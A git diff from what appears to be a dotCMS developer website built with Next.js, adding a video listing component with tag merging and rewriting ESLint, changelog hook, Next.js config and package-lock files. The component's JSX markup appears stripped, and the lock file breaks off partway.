+import { getTagsByLuceneQuery } from "@/services/getTags";
+import { VIDEO_LISTING_LUCENE_QUERY, DEVRESOURCE_VIDEO_LUCENE_QUERY } from '@/services/video/getVideos';
+import PaginationBar from '../PaginationBar';
+import VideoImage from './VideoImage';
+
+const VideoCard = ({ post }) => {
+ const formattedDate = format(new Date(post.publishDate), 'MMMM d, yyyy');
+
+ // Prepare thumbnail data, handling both image and video thumbnails
+ const videoData = {
+ ...post,
+ teaser: post.teaser || post.title,
+ };
+
+ // Route all video content (both Video and DevResource types) to the unified video detail page
+ const videoLink = `/videos/${post.slug || post.urlTitle}`;
+
+ return (
+
+
+
+
+
+
+ {/* Content Type Chip */}
+ {post.contentType === 'video' ? (
+
+
+ Video
+
+ ) : (
+
+
+ DevResource
+
+ )}
+
+
+
+ {formattedDate}
+
+
+
+
+
+ {post.title}
+
+
+
+ {post.teaser}
+
+ {post.tags && post.tags.length > 0 && (
+
+ {post.tags.map((tag) => (
+
+ {tag}
+
+ ))}
+
+ )}
+
+
+ );
+};
+
+/**
+ * Merge and deduplicate tag buckets from multiple sources
+ * Combines doc_count for duplicate tags
+ */
+const mergeTagBuckets = (tagBuckets1, tagBuckets2) => {
+ const tagMap = new Map();
+
+ // Add tags from first source
+ for (const tag of tagBuckets1) {
+ tagMap.set(tag.key, { key: tag.key, doc_count: tag.doc_count });
+ }
+
+ // Merge tags from second source
+ for (const tag of tagBuckets2) {
+ if (tagMap.has(tag.key)) {
+ // Add doc_count if tag exists
+ tagMap.get(tag.key).doc_count += tag.doc_count;
+ } else {
+ tagMap.set(tag.key, { key: tag.key, doc_count: tag.doc_count });
+ }
+ }
+
+ // Convert back to array and sort by doc_count descending
+ return Array.from(tagMap.values())
+ .sort((a, b) => b.doc_count - a.doc_count);
+};
+
+export default async function VideoListing({ videos, pagination, tagFilter }) {
+ // Fetch tags from both Video and DevResource content types
+ const [videoTags, devResourceTags] = await Promise.all([
+ getTagsByLuceneQuery(VIDEO_LISTING_LUCENE_QUERY, 30),
+ getTagsByLuceneQuery(DEVRESOURCE_VIDEO_LUCENE_QUERY, 30)
+ ]);
+
+ // Merge tags from both sources
+ const allTags = mergeTagBuckets(videoTags, devResourceTags);
+ const tagFilterQueryParam = tagFilter && tagFilter.length > 0 ? "tagFilter=" + tagFilter : "";
+
+ // Filter out specific tags that should not be displayed
+ // allTags is an array of bucket objects with { key: string, doc_count: number }
+ const hiddenTags = ['autoplay', 'loop', 'muted', 'nocontrols'];
+ const filteredTags = allTags.filter(tag => !hiddenTags.includes(tag.key.toLowerCase()));
+
+ return (
+
+
+
+
+ dotCMS Developer Videos
+
+ Videos for the dotDeveloper.
+
+
+
+
Back to Learning Center
+
+
+
+
+
+
+ {videos.map((post) => (
+
+ ))}
+
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/eslint.config.mjs b/eslint.config.mjs
index 62511b7..576ed0a 100644
--- a/eslint.config.mjs
+++ b/eslint.config.mjs
@@ -1,19 +1,19 @@
-import { FlatCompat } from '@eslint/eslintrc'
-
-const compat = new FlatCompat({
- // import.meta.dirname is available after Node.js v20.11.0
- baseDirectory: import.meta.dirname,
-})
-
-const eslintConfig = [
- ...compat.config({
- extends: ['next', 'prettier'],
- }),
- {
- rules: {
- "next/no-img-element": "off",
- },
- },
-]
-
+import { FlatCompat } from '@eslint/eslintrc'
+
+const compat = new FlatCompat({
+ // import.meta.dirname is available after Node.js v20.11.0
+ baseDirectory: import.meta.dirname,
+})
+
+const eslintConfig = [
+ ...compat.config({
+ extends: ['next', 'prettier'],
+ }),
+ {
+ rules: {
+ "next/no-img-element": "off",
+ },
+ },
+]
+
export default eslintConfig
\ No newline at end of file
diff --git a/hooks/useChangelog.ts b/hooks/useChangelog.ts
index 9bdba06..214b68c 100644
--- a/hooks/useChangelog.ts
+++ b/hooks/useChangelog.ts
@@ -1,54 +1,54 @@
-"use client";
-import { useState, useEffect } from 'react';
-import { getChangelog } from '@/services/docs/getChangelog/getChangelog';
-
-interface ChangelogData {
- changelogs: any[];
- pagination: {
- totalPages: number;
- hasNextPage: boolean;
- hasPreviousPage: boolean;
- };
- ltsMajors: any[];
-}
-
-export function useChangelog(currentPage: number = 1, vLts: string = "false", singleVersion: string = "") {
- const [data, setData] = useState(null);
- const [loading, setLoading] = useState(true);
- const [error, setError] = useState(null);
- const [page, setPage] = useState(currentPage);
-
- const handleNextPage = () => setPage(prev => prev + 1);
- const handlePrevPage = () => setPage(prev => Math.max(1, prev - 1));
-
- useEffect(() => {
- async function fetchChangelog() {
- try {
- setLoading(true);
- const result = await getChangelog({ page, vLts, singleVersion });
- if (result) {
- setData(result);
- } else {
- setError(new Error('Failed to fetch changelog data'));
- }
- } catch (err) {
- setError(err instanceof Error ? err : new Error('An error occurred'));
- } finally {
- setLoading(false);
- }
- }
-
- fetchChangelog();
- }, [page, vLts]);
-
- return {
- data,
- loading,
- error,
- page,
- handleNextPage,
- handlePrevPage,
- hasNextPage: data?.pagination?.hasNextPage || false,
- hasPrevPage: data?.pagination?.hasPreviousPage || false
- };
+"use client";
+import { useState, useEffect } from 'react';
+import { getChangelog } from '@/services/docs/getChangelog/getChangelog';
+
+interface ChangelogData {
+ changelogs: any[];
+ pagination: {
+ totalPages: number;
+ hasNextPage: boolean;
+ hasPreviousPage: boolean;
+ };
+ ltsMajors: any[];
+}
+
+export function useChangelog(currentPage: number = 1, vLts: string = "false", singleVersion: string = "") {
+ const [data, setData] = useState(null);
+ const [loading, setLoading] = useState(true);
+ const [error, setError] = useState(null);
+ const [page, setPage] = useState(currentPage);
+
+ const handleNextPage = () => setPage(prev => prev + 1);
+ const handlePrevPage = () => setPage(prev => Math.max(1, prev - 1));
+
+ useEffect(() => {
+ async function fetchChangelog() {
+ try {
+ setLoading(true);
+ const result = await getChangelog({ page, vLts, singleVersion });
+ if (result) {
+ setData(result);
+ } else {
+ setError(new Error('Failed to fetch changelog data'));
+ }
+ } catch (err) {
+ setError(err instanceof Error ? err : new Error('An error occurred'));
+ } finally {
+ setLoading(false);
+ }
+ }
+
+ fetchChangelog();
+ }, [page, vLts]);
+
+ return {
+ data,
+ loading,
+ error,
+ page,
+ handleNextPage,
+ handlePrevPage,
+ hasNextPage: data?.pagination?.hasNextPage || false,
+ hasPrevPage: data?.pagination?.hasPreviousPage || false
+ };
}
\ No newline at end of file
diff --git a/next.config.js b/next.config.js
index 4f8d3ad..bf20e20 100644
--- a/next.config.js
+++ b/next.config.js
@@ -1,113 +1,113 @@
-/** @type {import('next').NextConfig} */
-
-const url = new URL(process.env.NEXT_PUBLIC_DOTCMS_HOST);
-
-const nextConfig = {
- reactStrictMode: true,
- // Fixes confusing dev/build behavior when Next infers the wrong repo root due to multiple lockfiles.
- // Also helps make stack traces and tracing output more consistent.
- outputFileTracingRoot: __dirname,
- async redirects() {
- return [
- {
- source: '/security/:path',
- destination: '/docs/known-security-issues?issueNumber=:path',
- permanent: true,
- },
- {
- source: '/docs/latest/:path',
- destination: '/docs/:path',
- permanent: true,
- },
- {
- source: '/blogs',
- destination: '/blog',
- permanent: true,
- },
- ]
- },
- images: {
- remotePatterns: [
- {
- protocol: url.protocol.replace(":", ""),
- hostname: url.hostname,
- port: url.port || "",
- },
- {
- protocol: 'https',
- hostname: '*.public.blob.vercel-storage.com', // temporary solution to allow images to be served from vercel
- },
- {
- protocol: 'https',
- hostname: 'dev.dotcms.com',
- pathname: '/dA/**',
- },
- {
- protocol: 'https',
- hostname: 'www.dotcms.com',
- pathname: '**',
- },
- {
- protocol: 'https',
- hostname: 'images.unsplash.com',
- },
- ],
- dangerouslyAllowSVG: true,
- loader: 'custom',
- loaderFile: './util/imageLoader.ts',
-
- },
-
- async rewrites() {
- return {
- beforeFiles: [
- {
- source: "/dA/:path*",
- destination: `${url.origin}/dA/:path*`,
- },
- {
- source: "/contentAsset/image/:path*",
- destination: `${url.origin}/contentAsset/image/:path*`,
- },
- {
- source: '/sitemap.xml',
- destination: '/api/sitemap'
- }
- ],
- afterFiles: [
-
- ]
- };
- },
- async headers() {
- return [
- {
- // Apply to static assets (images, fonts, etc.)
- source: '/static/:path*',
- headers: [
- {
- key: 'Cache-Control',
- value: 'public, max-age=31536000, immutable',
- },
- ],
- },
- {
- // Apply to API routes (no browser caching)
- source: '/api/:path*',
- headers: [
- {
- key: 'Cache-Control',
- value: 'no-store, max-age=0',
- },
- ],
- },
-
- ];
- },
- experimental: {
- largePageDataBytes: 128 * 100000,
-
- }
-};
-
-module.exports = nextConfig;
+/** @type {import('next').NextConfig} */
+
+const url = new URL(process.env.NEXT_PUBLIC_DOTCMS_HOST);
+
+const nextConfig = {
+ reactStrictMode: true,
+ // Fixes confusing dev/build behavior when Next infers the wrong repo root due to multiple lockfiles.
+ // Also helps make stack traces and tracing output more consistent.
+ outputFileTracingRoot: __dirname,
+ async redirects() {
+ return [
+ {
+ source: '/security/:path',
+ destination: '/docs/known-security-issues?issueNumber=:path',
+ permanent: true,
+ },
+ {
+ source: '/docs/latest/:path',
+ destination: '/docs/:path',
+ permanent: true,
+ },
+ {
+ source: '/blogs',
+ destination: '/blog',
+ permanent: true,
+ },
+ ]
+ },
+ images: {
+ remotePatterns: [
+ {
+ protocol: url.protocol.replace(":", ""),
+ hostname: url.hostname,
+ port: url.port || "",
+ },
+ {
+ protocol: 'https',
+ hostname: '*.public.blob.vercel-storage.com', // temporary solution to allow images to be served from vercel
+ },
+ {
+ protocol: 'https',
+ hostname: 'dev.dotcms.com',
+ pathname: '/dA/**',
+ },
+ {
+ protocol: 'https',
+ hostname: 'www.dotcms.com',
+ pathname: '**',
+ },
+ {
+ protocol: 'https',
+ hostname: 'images.unsplash.com',
+ },
+ ],
+ dangerouslyAllowSVG: true,
+ loader: 'custom',
+ loaderFile: './util/imageLoader.ts',
+
+ },
+
+ async rewrites() {
+ return {
+ beforeFiles: [
+ {
+ source: "/dA/:path*",
+ destination: `${url.origin}/dA/:path*`,
+ },
+ {
+ source: "/contentAsset/image/:path*",
+ destination: `${url.origin}/contentAsset/image/:path*`,
+ },
+ {
+ source: '/sitemap.xml',
+ destination: '/api/sitemap'
+ }
+ ],
+ afterFiles: [
+
+ ]
+ };
+ },
+ async headers() {
+ return [
+ {
+ // Apply to static assets (images, fonts, etc.)
+ source: '/static/:path*',
+ headers: [
+ {
+ key: 'Cache-Control',
+ value: 'public, max-age=31536000, immutable',
+ },
+ ],
+ },
+ {
+ // Apply to API routes (no browser caching)
+ source: '/api/:path*',
+ headers: [
+ {
+ key: 'Cache-Control',
+ value: 'no-store, max-age=0',
+ },
+ ],
+ },
+
+ ];
+ },
+ experimental: {
+ largePageDataBytes: 128 * 100000,
+
+ }
+};
+
+module.exports = nextConfig;
diff --git a/package-lock.json b/package-lock.json
index 3500f3e..4d5c449 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,12242 +1,12052 @@
-{
- "name": "nextjs",
- "version": "0.1.0",
- "lockfileVersion": 3,
- "requires": true,
- "packages": {
- "": {
- "name": "nextjs",
- "version": "0.1.0",
- "dependencies": {
- "@dotcms/analytics": "1.1.1-next.6",
- "@dotcms/client": "latest",
- "@dotcms/react": "latest",
- "@dotcms/types": "^1.2.3",
- "@hookform/resolvers": "^3.9.0",
- "@mdx-js/mdx": "^3.1.0",
- "@microsoft/clarity": "^1.0.0",
- "@next/third-parties": "^15.1.7",
- "@radix-ui/react-accordion": "^1.2.0",
- "@radix-ui/react-alert-dialog": "^1.1.1",
- "@radix-ui/react-aspect-ratio": "^1.1.0",
- "@radix-ui/react-avatar": "^1.1.0",
- "@radix-ui/react-checkbox": "^1.1.1",
- "@radix-ui/react-collapsible": "^1.1.0",
- "@radix-ui/react-context-menu": "^2.2.1",
- "@radix-ui/react-dialog": "^1.1.1",
- "@radix-ui/react-dropdown-menu": "^2.1.1",
- "@radix-ui/react-hover-card": "^1.1.1",
- "@radix-ui/react-label": "^2.1.0",
- "@radix-ui/react-menubar": "^1.1.1",
- "@radix-ui/react-navigation-menu": "^1.2.0",
- "@radix-ui/react-popover": "^1.1.1",
- "@radix-ui/react-progress": "^1.1.0",
- "@radix-ui/react-radio-group": "^1.2.0",
- "@radix-ui/react-scroll-area": "^1.1.0",
- "@radix-ui/react-select": "^2.1.1",
- "@radix-ui/react-separator": "^1.1.0",
- "@radix-ui/react-slider": "^1.2.0",
- "@radix-ui/react-slot": "^1.1.0",
- "@radix-ui/react-switch": "^1.1.0",
- "@radix-ui/react-tabs": "^1.1.0",
- "@radix-ui/react-toast": "^1.2.1",
- "@radix-ui/react-toggle": "^1.1.0",
- "@radix-ui/react-toggle-group": "^1.1.0",
- "@radix-ui/react-tooltip": "^1.1.2",
- "@types/node": "^20.11.0",
- "@types/react": "^18.2.48",
- "@types/react-dom": "^18.2.18",
- "@types/react-syntax-highlighter": "^15.5.13",
- "@vercel/speed-insights": "^1.2.0",
- "autoprefixer": "^10.4.17",
- "axios": "^1.10.0",
- "class-variance-authority": "^0.7.0",
- "clsx": "^2.1.1",
- "cmdk": "^1.0.0",
- "date-fns": "^3.6.0",
- "embla-carousel-react": "^8.3.0",
- "eslint": "8.49.0",
- "eslint-config-next": "13.5.1",
- "html-entities": "^2.5.2",
- "input-otp": "^1.2.4",
- "lucide-react": "^0.446.0",
- "mdx": "^0.2.3",
- "next": "^15.2.6",
- "next-themes": "^0.3.0",
- "node-cache": "^5.1.2",
- "postcss": "^8.4.33",
- "react": "^18.2.0",
- "react-day-picker": "^8.10.1",
- "react-dom": "^18.2.0",
- "react-hook-form": "^7.53.0",
- "react-markdown": "^9.0.3",
- "react-resizable-panels": "^2.1.3",
- "react-syntax-highlighter": "^15.6.1",
- "recharts": "^2.12.7",
- "rehype-autolink-headings": "^7.1.0",
- "rehype-raw": "^7.0.0",
- "rehype-slug": "^6.0.0",
- "remark-gfm": "^4.0.0",
- "remark-parse": "^11.0.0",
- "sonner": "^1.5.0",
- "swagger-ui-react": "^5.18.3",
- "tailwind-merge": "^2.5.2",
- "tailwindcss": "^3.4.1",
- "typescript": "^5.3.3",
- "unified": "^11.0.5",
- "vaul": "^0.9.9",
- "zod": "^3.23.8"
- },
- "devDependencies": {
- "@tailwindcss/typography": "^0.5.16",
- "@types/swagger-ui-react": "^5.18.0",
- "@typescript-eslint/eslint-plugin": "^6.0.0",
- "@typescript-eslint/parser": "^6.0.0",
- "eslint-config-prettier": "^10.0.1",
- "eslint-plugin-jsx-a11y": "^6.8.0",
- "eslint-plugin-react": "^7.33.2",
- "eslint-plugin-react-hooks": "^4.6.0",
- "sass": "^1.83.4",
- "tailwindcss-animate": "^1.0.7"
- }
- },
- "node_modules/@alloc/quick-lru": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
- "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/@analytics/cookie-utils": {
- "version": "0.2.14",
- "resolved": "https://registry.npmjs.org/@analytics/cookie-utils/-/cookie-utils-0.2.14.tgz",
- "integrity": "sha512-x51x2cLqvP5Fb1ydgNvTCX+SVv0ALK/yTNwp/53++yk4kLhxb850krWtQ4aASN0612oXrIGotwfmdJIttnLiPQ==",
- "license": "MIT",
- "dependencies": {
- "@analytics/global-storage-utils": "^0.1.9"
- }
- },
- "node_modules/@analytics/core": {
- "version": "0.13.2",
- "resolved": "https://registry.npmjs.org/@analytics/core/-/core-0.13.2.tgz",
- "integrity": "sha512-ejvfoPP8TEh2hA2szMEq9c4TdeX8FAeY1j/7MxJVZjzDaq8BDHOyaAAQzTFiLMHvV0WcU2YC0smJ5Ids5Ll5ng==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/davidwells"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "@analytics/global-storage-utils": "^0.1.9",
- "@analytics/type-utils": "^0.6.4",
- "analytics-utils": "^1.1.1"
- }
- },
- "node_modules/@analytics/global-storage-utils": {
- "version": "0.1.9",
- "resolved": "https://registry.npmjs.org/@analytics/global-storage-utils/-/global-storage-utils-0.1.9.tgz",
- "integrity": "sha512-+xm6CDnWsVOQIKkqbPRPRdYDXKk3PNgr/bCZWSI+7tEDT5PCDgI0QSBZe+FqCVkCRtTkgOrjFOY7wOM8Gq+ndA==",
- "license": "MIT",
- "dependencies": {
- "@analytics/type-utils": "^0.6.4"
- }
- },
- "node_modules/@analytics/localstorage-utils": {
- "version": "0.1.12",
- "resolved": "https://registry.npmjs.org/@analytics/localstorage-utils/-/localstorage-utils-0.1.12.tgz",
- "integrity": "sha512-BL3vuZUwWgMqdkQsE0GKsED5SPLC6daI4K4LE0a/BkKv+4Cae5JLLqpO5gju2HUGOjJxIvw8U/G5EcglNY5+1w==",
- "license": "MIT",
- "dependencies": {
- "@analytics/global-storage-utils": "^0.1.9"
- }
- },
- "node_modules/@analytics/queue-utils": {
- "version": "0.1.3",
- "resolved": "https://registry.npmjs.org/@analytics/queue-utils/-/queue-utils-0.1.3.tgz",
- "integrity": "sha512-W3nrt7vZDsR0Dzpte2o44myMfNAdHJVc8xVLwEdFFMTUB7/tKauM7GAWv07GjG6v3YEfNMab7l1UAEIFA/0FqA==",
- "license": "MIT"
- },
- "node_modules/@analytics/session-storage-utils": {
- "version": "0.0.9",
- "resolved": "https://registry.npmjs.org/@analytics/session-storage-utils/-/session-storage-utils-0.0.9.tgz",
- "integrity": "sha512-fhP9QCpyq45rZKsXaAxyz+VTmOUWljIW08CWSkFzpwOHkDM4Xy5tymc1YcWqSBBaLjHldo3HlY4qfqEIS4Aj1A==",
- "license": "MIT",
- "dependencies": {
- "@analytics/global-storage-utils": "^0.1.9"
- }
- },
- "node_modules/@analytics/storage-utils": {
- "version": "0.4.4",
- "resolved": "https://registry.npmjs.org/@analytics/storage-utils/-/storage-utils-0.4.4.tgz",
- "integrity": "sha512-873P4wDIunbOnBqADc2AhTVsLbluUv1dP6k9UrK8FIeV8WXv5+fG12HdwwaniUIxq6QLgZJfKEaCwtWSKrrV0g==",
- "license": "MIT",
- "dependencies": {
- "@analytics/cookie-utils": "^0.2.14",
- "@analytics/global-storage-utils": "^0.1.9",
- "@analytics/localstorage-utils": "^0.1.12",
- "@analytics/session-storage-utils": "^0.0.9",
- "@analytics/type-utils": "^0.6.4"
- }
- },
- "node_modules/@analytics/type-utils": {
- "version": "0.6.4",
- "resolved": "https://registry.npmjs.org/@analytics/type-utils/-/type-utils-0.6.4.tgz",
- "integrity": "sha512-Ou1gQxFakOWLcPnbFVsrPb8g1wLLUZYYJXDPjHkG07+5mustGs5yqACx42UAu4A6NszNN6Z5gGxhyH45zPWRxw==",
- "license": "MIT"
- },
- "node_modules/@babel/runtime": {
- "version": "7.28.4",
- "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.4.tgz",
- "integrity": "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==",
- "license": "MIT",
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/runtime-corejs3": {
- "version": "7.28.4",
- "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.28.4.tgz",
- "integrity": "sha512-h7iEYiW4HebClDEhtvFObtPmIvrd1SSfpI9EhOeKk4CtIK/ngBWFpuhCzhdmRKtg71ylcue+9I6dv54XYO1epQ==",
- "license": "MIT",
- "dependencies": {
- "core-js-pure": "^3.43.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@dotcms/analytics": {
- "version": "1.1.1-next.6",
- "resolved": "https://registry.npmjs.org/@dotcms/analytics/-/analytics-1.1.1-next.6.tgz",
- "integrity": "sha512-MvmP+YOqJHal6IInt24HcaYnH0YIy4L3oPqxD2GHG7ZaKRU9j5OaHpg8mPoiXpwqTLwmAikKBBmkhovXicGw+Q==",
- "license": "MIT",
- "dependencies": {
- "@analytics/core": "^0.13.0",
- "@analytics/queue-utils": "^0.1.3",
- "@analytics/storage-utils": "^0.4.0",
- "@dotcms/uve": "latest",
- "analytics": "^0.8.0"
- },
- "peerDependencies": {
- "react": "^18 || ^19"
- }
- },
- "node_modules/@dotcms/client": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/@dotcms/client/-/client-1.2.3.tgz",
- "integrity": "sha512-GQ1gjDLrTTqv/3Wbmibh6xRbKlgGfkGaHV5mh/JXGl/ncfc4YbfhIShNJM2Yo713LImuRb2rE4mNlhWNjRw2Yg==",
- "license": "MIT",
- "dependencies": {
- "consola": "^3.4.2"
- }
- },
- "node_modules/@dotcms/react": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/@dotcms/react/-/react-1.2.3.tgz",
- "integrity": "sha512-F9tCrNFVYqGoGQTF1rACSqJXwwXOhSjNODzF62dIlhiJ2+YB3WqQzF95kuJtC0YpzsngKbkQXC4KSBaZgEooHw==",
- "license": "MIT",
- "dependencies": {
- "@dotcms/client": "latest",
- "@dotcms/uve": "latest",
- "@tinymce/tinymce-react": "6.2.1"
- },
- "peerDependencies": {
- "react": ">=18",
- "react-dom": ">=18"
- }
- },
- "node_modules/@dotcms/types": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/@dotcms/types/-/types-1.2.3.tgz",
- "integrity": "sha512-wBGO4jp2MLM/5UlIIh3lXAS9Gf4T7Qi0TJgTLJkeezYzkcBIT0xkAb5NhikWrFaTmjQKHfYuztBQzk6DAP1QNA=="
- },
- "node_modules/@dotcms/uve": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/@dotcms/uve/-/uve-1.2.3.tgz",
- "integrity": "sha512-whxU15ZLxpaAmBXkR6yhrI8Sa5pmtqIW8m9J450yieQujdHxOSFEeD1iuTYmEjYGwos3HV99wRmcTlePbGSNPg==",
- "license": "MIT"
- },
- "node_modules/@emnapi/runtime": {
- "version": "1.7.1",
- "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.7.1.tgz",
- "integrity": "sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA==",
- "license": "MIT",
- "optional": true,
- "dependencies": {
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@eslint-community/eslint-utils": {
- "version": "4.4.1",
- "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz",
- "integrity": "sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==",
- "dependencies": {
- "eslint-visitor-keys": "^3.4.3"
- },
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- },
- "peerDependencies": {
- "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"
- }
- },
- "node_modules/@eslint-community/regexpp": {
- "version": "4.12.1",
- "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz",
- "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==",
- "engines": {
- "node": "^12.0.0 || ^14.0.0 || >=16.0.0"
- }
- },
- "node_modules/@eslint/eslintrc": {
- "version": "2.1.4",
- "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz",
- "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==",
- "dependencies": {
- "ajv": "^6.12.4",
- "debug": "^4.3.2",
- "espree": "^9.6.0",
- "globals": "^13.19.0",
- "ignore": "^5.2.0",
- "import-fresh": "^3.2.1",
- "js-yaml": "^4.1.0",
- "minimatch": "^3.1.2",
- "strip-json-comments": "^3.1.1"
- },
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/@eslint/js": {
- "version": "8.49.0",
- "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.49.0.tgz",
- "integrity": "sha512-1S8uAY/MTJqVx0SC4epBq+N2yhuwtNwLbJYNZyhL2pO1ZVKn5HFXav5T41Ryzy9K9V7ZId2JB2oy/W4aCd9/2w==",
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- }
- },
- "node_modules/@floating-ui/core": {
- "version": "1.6.8",
- "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.6.8.tgz",
- "integrity": "sha512-7XJ9cPU+yI2QeLS+FCSlqNFZJq8arvswefkZrYI1yQBbftw6FyrZOxYSh+9S7z7TpeWlRt9zJ5IhM1WIL334jA==",
- "dependencies": {
- "@floating-ui/utils": "^0.2.8"
- }
- },
- "node_modules/@floating-ui/dom": {
- "version": "1.6.12",
- "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.6.12.tgz",
- "integrity": "sha512-NP83c0HjokcGVEMeoStg317VD9W7eDlGK7457dMBANbKA6GJZdc7rjujdgqzTaz93jkGgc5P/jeWbaCHnMNc+w==",
- "dependencies": {
- "@floating-ui/core": "^1.6.0",
- "@floating-ui/utils": "^0.2.8"
- }
- },
- "node_modules/@floating-ui/react-dom": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.2.tgz",
- "integrity": "sha512-06okr5cgPzMNBy+Ycse2A6udMi4bqwW/zgBF/rwjcNqWkyr82Mcg8b0vjX8OJpZFy/FKjJmw6wV7t44kK6kW7A==",
- "dependencies": {
- "@floating-ui/dom": "^1.0.0"
- },
- "peerDependencies": {
- "react": ">=16.8.0",
- "react-dom": ">=16.8.0"
- }
- },
- "node_modules/@floating-ui/utils": {
- "version": "0.2.8",
- "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.8.tgz",
- "integrity": "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="
- },
- "node_modules/@hookform/resolvers": {
- "version": "3.9.1",
- "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-3.9.1.tgz",
- "integrity": "sha512-ud2HqmGBM0P0IABqoskKWI6PEf6ZDDBZkFqe2Vnl+mTHCEHzr3ISjjZyCwTjC/qpL25JC9aIDkloQejvMeq0ug==",
- "peerDependencies": {
- "react-hook-form": "^7.0.0"
- }
- },
- "node_modules/@humanwhocodes/config-array": {
- "version": "0.11.14",
- "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz",
- "integrity": "sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==",
- "deprecated": "Use @eslint/config-array instead",
- "dependencies": {
- "@humanwhocodes/object-schema": "^2.0.2",
- "debug": "^4.3.1",
- "minimatch": "^3.0.5"
- },
- "engines": {
- "node": ">=10.10.0"
- }
- },
- "node_modules/@humanwhocodes/module-importer": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
- "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
- "engines": {
- "node": ">=12.22"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/nzakas"
- }
- },
- "node_modules/@humanwhocodes/object-schema": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz",
- "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==",
- "deprecated": "Use @eslint/object-schema instead"
- },
- "node_modules/@img/colour": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.0.0.tgz",
- "integrity": "sha512-A5P/LfWGFSl6nsckYtjw9da+19jB8hkJ6ACTGcDfEJ0aE+l2n2El7dsVM7UVHZQ9s2lmYMWlrS21YLy2IR1LUw==",
- "license": "MIT",
- "optional": true,
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@img/sharp-darwin-arm64": {
- "version": "0.34.5",
- "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz",
- "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==",
- "cpu": [
- "arm64"
- ],
- "license": "Apache-2.0",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/libvips"
- },
- "optionalDependencies": {
- "@img/sharp-libvips-darwin-arm64": "1.2.4"
- }
- },
- "node_modules/@img/sharp-darwin-x64": {
- "version": "0.34.5",
